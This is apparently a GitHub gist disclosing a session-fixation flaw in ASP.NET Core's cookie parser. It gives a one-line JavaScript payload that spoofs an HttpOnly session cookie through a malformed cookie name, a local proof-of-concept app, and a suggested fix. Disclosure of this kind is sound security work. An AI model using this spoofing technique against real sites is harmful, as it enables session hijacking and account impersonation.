Skip to content

Instantly share code, notes, and snippets.

@keltecc
Last active October 22, 2025 23:49
Show Gist options
  • Select an option

  • Save keltecc/a2fa204e0efbc8cffe8f2f38dd476c0a to your computer and use it in GitHub Desktop.

Select an option

Save keltecc/a2fa204e0efbc8cffe8f2f38dd476c0a to your computer and use it in GitHub Desktop.
ASP.NET Core cookie parser vulnerability

Details

CWE: CWE-384: Session Fixation

Affected runtime: ASP.NET Core (latest)

Affected source code: CookieHeaderParserShared.cs

Overview

The cookie parser in ASP.NET Core allows an attacker to spoof an HttpOnly cookie, enabling unauthorized overwrite of its value.

Although cookies marked as HttpOnly should not be accessible to JavaScript by design, an attacker with a XSS capability could set or overwrite protected cookies, including session identifiers or authentication tokens. This enables session fixation, account impersonation, or persistent access, as outlined in CWE-384 and related session management weaknesses.

Vulnerability

ASP.NET Core's cookie parsing logic does not strictly follow RFC 6265 (HTTP State Management Mechanism) which prohibits certain characters in cookie names.

According to the RFC, cookie names must not include the following characters:

()<>@,;:\"/[]?={} \t

Despite this, the parser tolerates malformed or ambiguous input, allowing a specially crafted cookie name to be interpreted in such a way that it overwrites a legitimate HttpOnly cookie.

Exploitation

Assume the backend sets the following cookie:

Set-Cookie: session_id=secure; Path=/; HttpOnly

The attacker, using XSS, injects a spoofed cookie:

document.cookie = 'x@session_id=spoofed; Path=/';

The resulting Cookie header becomes:

Cookie: session_id=secure; x@session_id=spoofed

ASP.NET Core's cookie parser processes this as follows:

  • parses session_id=secure correctly
  • encounters x@session_id=spoofed and treats this as a second session_id entry, overwriting the first one

As a result, the backend sees:

context.Request.Cookies["session_id"] == "spoofed"

This behavior bypasses the intended protection of the HttpOnly flag. This technique works with other special characters: [, ,, etc.

Proof of concept

I've provided two files:

  • Program.cs
  • cookie.csproj

Steps to reproduce:

  • run with dotnet run and open http://localhost:5000/
  • use the form to set the session_id cookie (via backend with HttpOnly flag)
  • observe the correct value in response from the server
  • click "spoof cookie" to inject a second cookie
  • observe the session_id now equals to spoofed despite HttpOnly being set

Suggested fix

Sanitize and strictly validate cookie names against RFC 6265 in the parsing logic. Cookie names containing illegal characters should be rejected.

var builder = WebApplication.CreateBuilder(args);
var app = builder.Build();
app.MapGet("/", async context =>
{
var sessionId = context.Request.Cookies["session_id"];
await context.Response.WriteAsync(@$"
<html>
<body>
<p>session_id: {sessionId ?? "(not set)"}</p>
<form method='post' action='/set-cookie'>
<input name='value' placeholder='session_id value' />
<button type='submit'>set cookie</button>
</form>
<form method='post' action='/delete-cookie'>
<button type='submit'>delete cookie</button>
</form>
<button onclick='spoofCookie()'>spoof cookie</button>
<button onclick='clearSpoofedCookie()'>clear spoofed cookie</button>
<script>
const spoofCookie = function() {{
document.cookie = 'x@session_id=spoofed; path=/';
location.reload();
}};
const clearSpoofedCookie = function() {{
document.cookie = 'x@session_id=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT';
location.reload();
}};
</script>
</body>
</html>
");
});
app.MapPost("/set-cookie", async context =>
{
var form = await context.Request.ReadFormAsync();
var sessionId = form["value"].ToString();
context.Response.Cookies.Append("session_id", sessionId, new CookieOptions
{
Path = "/",
HttpOnly = true,
Secure = false, // could be set to true when using HTTPS
SameSite = SameSiteMode.Lax
});
context.Response.Redirect("/");
});
app.MapPost("/delete-cookie", async context =>
{
context.Response.Cookies.Delete("session_id");
context.Response.Redirect("/");
});
app.Run();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment